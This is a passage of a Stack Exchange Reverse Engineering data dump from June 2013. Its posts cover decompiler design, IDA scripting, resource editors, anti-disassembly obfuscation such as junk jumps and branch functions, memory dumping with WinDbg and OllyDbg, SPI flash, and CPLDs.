  <row Id="2320" PostTypeId="1" AcceptedAnswerId="2323" CreationDate="2013-06-25T08:41:28.930" Score="8" ViewCount="1370" Body="&lt;p&gt;I have been interested in automatic vulnerability assessment and decompilation of code for a while now. And as a result I have been building parsers in Python that reads a bin, disassembles it instruction by instruction while tracing the execution (the way IDA does it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been tracing the polluted registers (polluted as in user input) to check when such registers allow us to setup a call or a jump. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This research has grown to the point, where I want to transform it to a decompiler. I had a look at boomerang and other open source decompilers. I have also had a quick peek inside the dragon book (I don't own it). I would like to hear what you guys think about this idea. Below is my outline:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the binary file to decompile.&lt;/li&gt;&#xA;&lt;li&gt;Detect a filetype (PE or ELF) to select the EP and memory layout.&lt;/li&gt;&#xA;&lt;li&gt;Jump to the EP and follow execution path of the code while disassembling. &#xA;I use udis86 for it. This execution is in a libemu kind of way.&lt;/li&gt;&#xA;&lt;li&gt;Parse the resulting assembly an middle language. To get&#xA;simpler instructions, (e.g. always remove things like &lt;code&gt;SHL EAX, 0x02&lt;/code&gt; and&#xA;change those things to &lt;code&gt;MUL&lt;/code&gt; instructions). &lt;/li&gt;&#xA;&lt;li&gt;Parse it into a Abstract Syntax Tree. &lt;/li&gt;&#xA;&lt;li&gt;Optimize the AST (although, I have no idea how). &lt;/li&gt;&#xA;&lt;li&gt;Transform the AST to something that looks like C.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am having issues with the last 2 steps. How does someone parse AST to a real language or something that looks like it? How do you optimize ASTs? Are there build C or Python libraries to accomplish it?&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2035" LastEditDate="2013-06-26T06:16:28.073" LastActivityDate="2013-06-26T06:16:28.073" Title="How do you optimise AST's or convert them to a real language" Tags="|decompilation|decompiler|ast|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2321" PostTypeId="1" CreationDate="2013-06-25T09:03:36.530" Score="8" ViewCount="360" Body="&lt;p&gt;I am using the IDA python features, and I am trying to setup a callback. When a user selects an instruction in the hex or graph view, I want my callback to be triggered. I have browsed the docs, but I could not find anything to accomplish it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea how to do it?&lt;/p&gt;&#xA;" OwnerUserId="2328" LastEditorUserId="2158" LastEditDate="2013-06-25T13:57:27.853" LastActivityDate="2013-08-08T20:01:55.303" Title="Setup an IDA (python) callback when an instruction is selected" Tags="|ida|python|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2322" PostTypeId="2" ParentId="2319" CreationDate="2013-06-25T09:05:23.717" Score="4" Body="&lt;p&gt;You can use &lt;strong&gt;ResEdit&lt;/strong&gt; which is a resource editor for Windows programs available in both 32 Bit and 64 Bit versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download this freeware application from this &lt;a href=&quot;http://www.resedit.net/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2023" LastEditDate="2013-06-25T09:30:07.347" LastActivityDate="2013-06-25T09:30:07.347" CommentCount="0" CommunityOwnedDate="2015-07-16T07:00:40.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="2323" PostTypeId="2" ParentId="2320" CreationDate="2013-06-25T09:15:58.587" Score="10" Body="&lt;p&gt;The classic work on the decompilation is Cristina Cifuentes' PhD thesis &lt;a href=&quot;http://zyloid.com/recomposer/files/decompilation_thesis.pdf&quot;&gt;&quot;Reverse Compilation Techniques&quot;&lt;/a&gt;. She describes generation of C code in Chapter 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author of the REC decompiler also has a nice summary about the decompilation process, though it's more informal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.backerstreet.com/decompiler/introduction.htm&quot;&gt;http://www.backerstreet.com/decompiler/introduction.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness, here's Ilfak's whitepaper on the Hex-Rays decompiler, though he glances over this specific issue, only mentioning that it's &quot;Very straightforward and easy&quot; :):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf&quot;&gt;http://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-06-25T09:15:58.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2324" PostTypeId="2" ParentId="2319" CreationDate="2013-06-25T12:38:34.943" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://stefansundin.github.io/xn_resource_editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;XN Resource Editor&lt;/a&gt; (open source &lt;a href=&quot;https://web.archive.org/web/20120307192859fw_/http://www.wilsonc.demon.co.uk/delphi_2006.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;under MPL&lt;/a&gt;; see also &lt;a href=&quot;https://github.com/stefansundin/xn_resource_editor/issues/5&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2DVtb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://melander.dk/reseditor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Resource Editor&lt;/a&gt; (free)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KJFEf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://code.google.com/p/theunknownones/wiki/ResEd&quot; rel=&quot;nofollow noreferrer&quot;&gt;ResEd&lt;/a&gt; (a free and open-source &lt;a href=&quot;http://web.archive.org/web/20140403183440/http://code.google.com/p/theunknownones/wiki/ResEd&quot; rel=&quot;nofollow noreferrer&quot;&gt;expert for Delphi&lt;/a&gt;)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="161" LastEditorUserId="245" LastEditDate="2022-10-12T10:12:44.843" LastActivityDate="2022-10-12T10:12:44.843" CommentCount="1" CommunityOwnedDate="2015-07-16T07:00:40.183" ContentLicense="CC BY-SA 4.0" />
  <row Id="2325" PostTypeId="2" ParentId="2319" CreationDate="2013-06-25T13:31:08.150" Score="10" Body="&lt;p&gt;If the previously suggested resource editors aren't to your liking, you can find descriptions and reviews of several resource editors here: &lt;a href=&quot;https://web.archive.org/web/20200628165509/http://www.woodmann.com/collaborative/tools/index.php/Category:Resource_Editors&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.woodmann.com/collaborative/tools/index.php/Category:Resource_Editors&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In case you have trouble accessing that page (as per the comments below), here is the list of resource editors as of 2022-10-12:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.heaventools.com/overview.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE Explorer&lt;/a&gt; (paid, discontinued, last updated 2012)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://angusj.com/resourcehacker&quot; rel=&quot;nofollow noreferrer&quot;&gt;Resource Hacker (Reshacker)&lt;/a&gt; (proprietary)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ntcore.com/?page_id=388&quot; rel=&quot;nofollow noreferrer&quot;&gt;Explorer Suite&lt;/a&gt; (proprietary,last updated 2012)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20150621043201/http://www.anol.is/resourcer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Anolis Resourcer&lt;/a&gt; (FLOSS, discontinued, last updated 2009, down) - &lt;a href=&quot;https://archive.org/download/sylirana_ms_codeplex_zips/tars/mscodeplex-a-3.tar/.%2Fanolis.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;archived download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20150717082629/http://hp.vector.co.jp/authors/VA003525/Eindex.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;eXeScope&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20181222005849/http://www.woodmann.com/collaborative/tools/index.php/ResFixer&quot; rel=&quot;nofollow noreferrer&quot;&gt;ResFixer&lt;/a&gt; (last updated 2008)&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;&lt;a href=&quot;http://www.aisto.com/roeder/dotnet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Resourcer for .NET&lt;/a&gt;&lt;/s&gt; (no longer available)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20181222005845/http://www.woodmann.com/collaborative/tools/index.php/StringEditor&quot; rel=&quot;nofollow noreferrer&quot;&gt;StringEditor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cgsoftlabs.ro/studpe.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stud_PE&lt;/a&gt; (last updated 2012)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stefansundin.github.io/xn_resource_editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;XN Resource Editor&lt;/a&gt; (FLOSS, basically discontinued)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/katahiromz/RisohEditor&quot; rel=&quot;nofollow noreferrer&quot;&gt;RisohEditor&lt;/a&gt; (FLOSS, active)&lt;/li&gt;&#xA;&lt;li&gt;Honorable mention: &lt;a href=&quot;https://www.nirsoft.net/utils/resources_extract.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ResourcesExtract&lt;/a&gt; can mass-extract resources&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;PS: &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/14588/245&quot;&gt;Woodman.com&lt;/a&gt; was referenced a few times above and archived versions of it can be found &lt;a href=&quot;https://web.archive.org/web/20220330081653/http://www.woodmann.com/forum/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="245" LastEditDate="2022-10-12T10:20:12.787" LastActivityDate="2022-10-12T10:20:12.787" CommentCount="0" CommunityOwnedDate="2015-07-16T07:00:40.183" ContentLicense="CC BY-SA 4.0" />
  <row Id="2326" PostTypeId="1" AcceptedAnswerId="2327" CreationDate="2013-06-25T15:18:55.567" Score="6" ViewCount="224" Body="&lt;p&gt;I have come across the following instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ecx, [ebp + var_4]&#xA;imul ecx, 4&#xA;call dword_1423d4[ecx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone explain to me what it possibly means or point me in the right direction? Why is the call made to a variable?&lt;/p&gt;&#xA;" OwnerUserId="2297" LastEditorUserId="1562" LastEditDate="2013-06-25T16:56:15.240" LastActivityDate="2013-07-13T22:01:36.747" Title="Call to variable address" Tags="|disassembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2327" PostTypeId="2" ParentId="2326" CreationDate="2013-06-25T16:50:15.267" Score="5" Body="&lt;p&gt;&lt;code&gt;dword_1423d4&lt;/code&gt; is a pointer to a global array of 32-bit function pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var_4&lt;/code&gt; is an index into this array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;call&lt;/code&gt; instruction calls the function at index &lt;code&gt;var_4&lt;/code&gt; in the &lt;code&gt;dword_1423d4&lt;/code&gt; function array.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-06-25T16:50:15.267" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2328" PostTypeId="1" AcceptedAnswerId="2330" CreationDate="2013-06-25T17:01:57.607" Score="7" ViewCount="1996" Body="&lt;p&gt;I have recently seen the following code obfuscation method: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;jump loc_1234&#xA;;-------------------------&#xA;         Bunch of junk&#xA;;-------------------------&#xA;&#xA;loc_1234:&#xA;code continued...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The logic behind the obfuscation mechanism looks pretty straight forward. Bunch of junk is inserted into code with jump instructions to jump over it. I guess, the purpose is to confuse linear sweep disassemblers and obfuscate file in general. I would like to learn more about it. Does anyone know what it is called? How effective is this method against modern day anti-virus software?&lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2020-05-10T09:16:51.310" Title="What is this obfuscation method called?" Tags="|disassembly|malware|obfuscation|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2330" PostTypeId="2" ParentId="2328" CreationDate="2013-06-25T17:28:09.150" Score="6" Body="&lt;p&gt;This anti-disassembly technique is described as &lt;strong&gt;Jump Instruction with a Constant Condition&lt;/strong&gt; in the &lt;em&gt;Practical Malware Analysis&lt;/em&gt; book (Chapter 16, page 336 of the 1st edition). The idea, as you have described, is to have a condition such that the jump is always taken, and add code after the jump that will generate a wrong disassembly at the location of the jump. As the disassembler assumes that both branches are coherent, it will disassemble only one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding effectiveness against antivirus software, most of them use emulators. As the condition is always taken, the emulator will continue there and see the right instructions. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="30460" LastEditDate="2020-05-10T09:16:51.310" LastActivityDate="2020-05-10T09:16:51.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2331" PostTypeId="1" AcceptedAnswerId="2332" CreationDate="2013-06-25T18:19:19.183" Score="17" ViewCount="352314" Body="&lt;p&gt;Some sites like The Free Dictionary, and many other translation and pronunciation services, offers a &lt;a href=&quot;http://www.thefreedictionary.com/hacker&quot;&gt;little icon next to the word&lt;/a&gt; so you could hear its pronunciation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I figure out the source for an audio\video embedded file on a webpage? &#xA;Where do I start?&lt;/p&gt;&#xA;" OwnerUserId="2333" LastEditorUserId="189" LastEditDate="2013-06-26T01:51:44.203" LastActivityDate="2022-09-02T22:40:57.413" Title="How do I get the location of the original audio/video file embedded on a webpage?" Tags="|embedded|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2332" PostTypeId="2" ParentId="2331" CreationDate="2013-06-25T19:13:46.267" Score="12" Body="&lt;p&gt;When you create a website and you embed images, videos, audio, javascript or other external sources, you specify their location by an own URL too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you have this directory structure on your server, which resolves to the following accessible URLs (asuming your website is www.example.com):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|-- /index.html                -&amp;gt;  www.example.com/index.html&#xA;|-- /images/                   -&amp;gt;  www.example.com/images/&#xA;|    |-- /banner.png           -&amp;gt;  www.example.com/images/banner.png&#xA;|    +-- /icons/               -&amp;gt;  www.example.com/icons/&#xA;|         +-- favicon.png      -&amp;gt;  www.example.com/icons/favicon.png&#xA;+-- /audio/                    -&amp;gt;  www.example.com/audio/&#xA;    |-- intro.mp3              -&amp;gt;  www.example.com/audio/intro.mp3&#xA;    +-- voice.flac             -&amp;gt;  www.example.com/audio/voice.flac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you access &lt;code&gt;index.html&lt;/code&gt; your browser will look for all the other embedded URLs and will get them from the server too. You can use tools like &lt;em&gt;Firebug for Firefox&lt;/em&gt; or the &lt;em&gt;Chrome Developer Console&lt;/em&gt; to capture the requests. One of those requests should be the URL to the media file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an HTML &lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt; tag (or a &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag), the URL to that media is specified by the &lt;code&gt;src&lt;/code&gt; attribute, which can be also examined with tools like Firebug or the Chrome Developer Console. You can make a &lt;code&gt;rightclick-&amp;gt;Inspect Element&lt;/code&gt; anywhere on the page and examine the HTML.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;embed src=&quot;/audio/intro.mp3&quot;&amp;gt;   -&amp;gt; www.example.com/audio/intro.mp3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-06-26T12:30:28.783" LastActivityDate="2013-06-26T12:30:28.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2333" PostTypeId="2" ParentId="2139" CreationDate="2013-06-26T03:54:14.003" Score="5" Body="&lt;p&gt;I think you might be looking for &lt;strong&gt;&lt;code&gt;add_dref(long From,long To,long drefType)&lt;/code&gt;&lt;/strong&gt;. &lt;strong&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/313.shtml&quot; rel=&quot;noreferrer&quot;&gt;IDA Online Help&lt;/a&gt;&lt;/strong&gt; describes it as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Data reference types (combine with XREF_USER!):&#xA;#define dr_O    1                       // Offset&#xA;#define dr_W    2                       // Write&#xA;#define dr_R    3                       // Read&#xA;#define dr_T    4                       // Text (names in manual operands)&#xA;#define dr_I    5                       // Informational&#xA;&#xA;void    add_dref(long From,long To,long drefType);      // Create Data Ref&#xA;void    del_dref(long From,long To);    // Unmark Data Ref&#xA;&#xA;long    Dfirst  (long From);            // Get first data xref from 'From'&#xA;long    Dnext   (long From,long current);&#xA;long    DfirstB (long To);              // Get first data xref to 'To'&#xA;long    DnextB  (long To,long current);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-06-26T03:54:14.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2334" PostTypeId="2" ParentId="1392" CreationDate="2013-06-26T04:21:51.437" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://www.drdobbs.com/testing/13-linux-debuggers-for-c-reviewed/240156817?pgno=1&quot; rel=&quot;nofollow&quot;&gt;This Dr Dobbs article&lt;/a&gt; shows in detail GUIs for debugging on Linux OS. I recommend the Qt-Creator called GDB debug based on Linux environment. Anyway the article only reviews debugging C++ code, but that is enough to show off GDBs debugging features.&lt;/p&gt;&#xA;" OwnerUserId="1398" LastEditorUserId="117" LastEditDate="2013-06-26T12:15:29.703" LastActivityDate="2013-06-26T12:15:29.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2335" PostTypeId="2" ParentId="2317" CreationDate="2013-06-26T05:43:23.157" Score="3" Body="&lt;p&gt;You can find the load address of a pattern in a simpler way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -s &quot;executable&quot; | grep -i &quot;pattern&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Confirm it with gdb by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x/s &quot;*(returned address from objdump)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="189" LastEditDate="2013-06-28T02:45:18.240" LastActivityDate="2013-06-28T02:45:18.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2336" PostTypeId="1" CreationDate="2013-06-26T10:24:13.453" Score="5" ViewCount="1205" Body="&lt;p&gt;What is the best way to dump user space process by pid debugging the kernel with windbg? I'm able to attach to the process from user-space with windbg and generate crash by .dump, but how would I do it from the kernel for only a single process and not generate crash dump of the whole kernel?&lt;/p&gt;&#xA;" OwnerUserId="2305" LastActivityDate="2013-12-13T09:38:20.037" Title="windbg crashdump process by pid from kernel" Tags="|tools|windows|windbg|dumping|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2337" PostTypeId="1" CreationDate="2013-06-26T11:30:07.243" Score="22" ViewCount="33441" Body="&lt;p&gt;Often flash memory is connected via SPI (Serial Peripheral Interface Bus) to a processing unit like an ARM core or a micro controller.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can one dump the memory?&lt;/li&gt;&#xA;&lt;li&gt;Can there be protection mechanisms?&lt;/li&gt;&#xA;&lt;li&gt;Are there pitfalls to avoid?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="145" LastActivityDate="2024-03-21T04:29:09.120" Title="How to dump flash memory with SPI?" Tags="|hardware|spi|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2338" PostTypeId="1" AcceptedAnswerId="2343" CreationDate="2013-06-26T11:34:19.687" Score="6" ViewCount="646" Body="&lt;p&gt;Sometimes you can find a CPLD (Complex Programmable Logic Device) on a circuit board.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What can you do to find out what it is for?&lt;/li&gt;&#xA;&lt;li&gt;What are the limits and capabilities?&lt;/li&gt;&#xA;&lt;li&gt;What are common applications for a CPLD?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="145" LastEditorUserId="1388" LastEditDate="2013-06-27T10:44:02.797" LastActivityDate="2013-06-27T10:44:02.797" Title="What can you find out about an unknown CPLD?" Tags="|hardware|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2339" PostTypeId="2" ParentId="2336" CreationDate="2013-06-26T11:40:00.663" Score="2" Body="&lt;p&gt;You should try using &lt;code&gt;.writemem&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.writemem c:\www.exe 0x400000 0xE3000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;0x400000&lt;/code&gt; is the main executable's image base. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extract it from &lt;code&gt;pEPROCESS-&amp;gt;SectionBaseAddress&lt;/code&gt;, &lt;code&gt;0xE3000&lt;/code&gt; is &lt;code&gt;SizeOfImage&lt;/code&gt; as in PE header, and &lt;code&gt;c:\www.exe&lt;/code&gt; is the output file.&lt;/p&gt;&#xA;" OwnerUserId="1331" LastEditorUserId="189" LastEditDate="2013-06-26T12:35:47.230" LastActivityDate="2013-06-26T12:35:47.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2340" PostTypeId="1" AcceptedAnswerId="2344" CreationDate="2013-06-26T11:45:31.437" Score="6" ViewCount="2242" Body="&lt;p&gt;Opaque predicate are used to disrupt automatic analysis of the binary code by reaching the limits of what can do an analyzer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody give an example (or a few examples) of an opaque predicate found in a real-life case ? And, what are the methods used to build new opaque predicates ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2021-06-17T15:33:48.750" Title="How to design opaque predicates?" Tags="|obfuscation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2341" PostTypeId="2" ParentId="2328" CreationDate="2013-06-26T12:02:53.603" Score="2" Body="&lt;p&gt;A variation on this is to use a &quot;branch function&quot;.  The basic idea is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a jump instruction &quot;jmp L&quot; is converted to &quot;call branch_fn&quot; and N bytes of junk are inserted after the call instruction;&lt;/li&gt;&#xA;&lt;li&gt;the callee, branch_fn, adds N to its return address and then returns.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This basic scheme can be elaborated in various ways, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Multiple jumps can use the same branch function, and they can have different values of N (the amount of adjustment needed for the return address).  The branch function uses the return address to identify the call site and thus the particular jump instruction under consideration, from which it can determine the amount of adjustment N necessary (e.g., using a table lookup based on the return address).&lt;/li&gt;&#xA;&lt;li&gt;The amount of adjustment N applied to the return address need not be stored &quot;in the clear&quot;, but can be computed dynamically via the evaluation of an expression.  For example, using perfect hash functions to map the return addresses to an adjustment value N can produce pretty inscrutable code.&lt;/li&gt;&#xA;&lt;li&gt;A branch function doesn't have to adjust its own return address, since that's relatively easy to spot.  Instead, it can use a sequence of calls branch_fn0 --&gt; branch_fn1 --&gt; ... --&gt; branch_fnK where the last one in the sequence &quot;reaches into&quot; the call stack to carry out the return address adjustment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But, as mentioned above, this is basically aimed at throwing off static disassembly; it doesn't do a whole lot against dynamic analysis.&lt;/p&gt;&#xA;" OwnerUserId="2303" LastEditorUserId="2303" LastEditDate="2013-06-26T13:25:09.133" LastActivityDate="2013-06-26T13:25:09.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2342" PostTypeId="2" ParentId="2319" CreationDate="2013-06-26T12:20:28.967" Score="1" Body="&lt;p&gt;I am not so sure what you mean with &quot;&lt;em&gt;zipped by .exe compressor&lt;/em&gt;&quot;, but if you mean packed executables, then the easiest to EXTRACT packed resources is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run the executable, preferably in Virtual Machine.&lt;/li&gt;&#xA;&lt;li&gt;Dump it using any memory dumper e.g. &quot;Virtual Section Dumper&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Use a PE editor e.g. &lt;code&gt;Stud_PE&lt;/code&gt; to fix the section table by shrinking the value of the &lt;code&gt;NumberOfSections&lt;/code&gt; field into only one. (One big section) and adjusting Raw/VirtualSize and Raw/VirtualOffset accordingly.&lt;/li&gt;&#xA;&lt;li&gt;Use Resource Hacker.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B.&lt;/strong&gt;: You can try with more than one Resource editor &lt;em&gt;e.g.&lt;/em&gt; ResEdit since many resource editors out there follow weird rules for PE header as they only expect typical PE headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ironically, one resource editor expects the resources to be embedded in a section named &lt;code&gt;.rsrc&lt;/code&gt;, otherwise it rejects them. Others don't see resources if embedded in a section marked as &lt;code&gt;IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x80&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One the other hand if you can attach to the running process without problems (No or bypassed Anti-Attaching tricks), you can use OllyDbg v1.10 for that as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;After attach, Select &quot;View&quot; then &quot;Memory&quot; &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;). You will get list of sections beside other memory blocks.&lt;/li&gt;&#xA;&lt;li&gt;Spot the resources section. &lt;em&gt;e.g.&lt;/em&gt; &lt;code&gt;.rsrc&lt;/code&gt;. &lt;kbd&gt;Right-Click&lt;/kbd&gt; the target section and &quot;View all resources&quot;. You will then a list of well-sorted resources.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Right-Click&lt;/kbd&gt; whichever resource you want and select &quot;dump&quot;. A new window will pop up.&lt;/li&gt;&#xA;&lt;li&gt;Right-Click inside the hex view of the new window and select &quot;Backup&quot; and &quot;Save data to file&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="1331" LastEditorUserId="53" LastEditDate="2013-06-26T15:39:52.390" LastActivityDate="2013-06-26T15:39:52.390" CommentCount="1" CommunityOwnedDate="2015-07-16T07:00:40.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="2343" PostTypeId="2" ParentId="2338" CreationDate="2013-06-26T12:28:34.567" Score="5" Body="&lt;p&gt;CPLDs are frequently used for glue logic. They are quite limited compared to FPGAs and implement a sea of gates design rather than more general LUTS found in FPGAs. Although that probably isn't always the case some CPLDs may be nothing more than a tiny FPGA with a built in ROM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPLDs usually have a built in ROM making them harder or near impossible to RE. Since there is no external configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FPGAs are often equivalent to a million+ gates. Whereas CPLDs are at most in the tens of thousands of gates. They might be more accurately called Simple Programmable Logic Devices!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no identification on the package you are going to have a hard time doing anything with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, sometimes its sufficient to see what is connected to the IO pins of the CPLD to tell what it is used for. &lt;/p&gt;&#xA;" 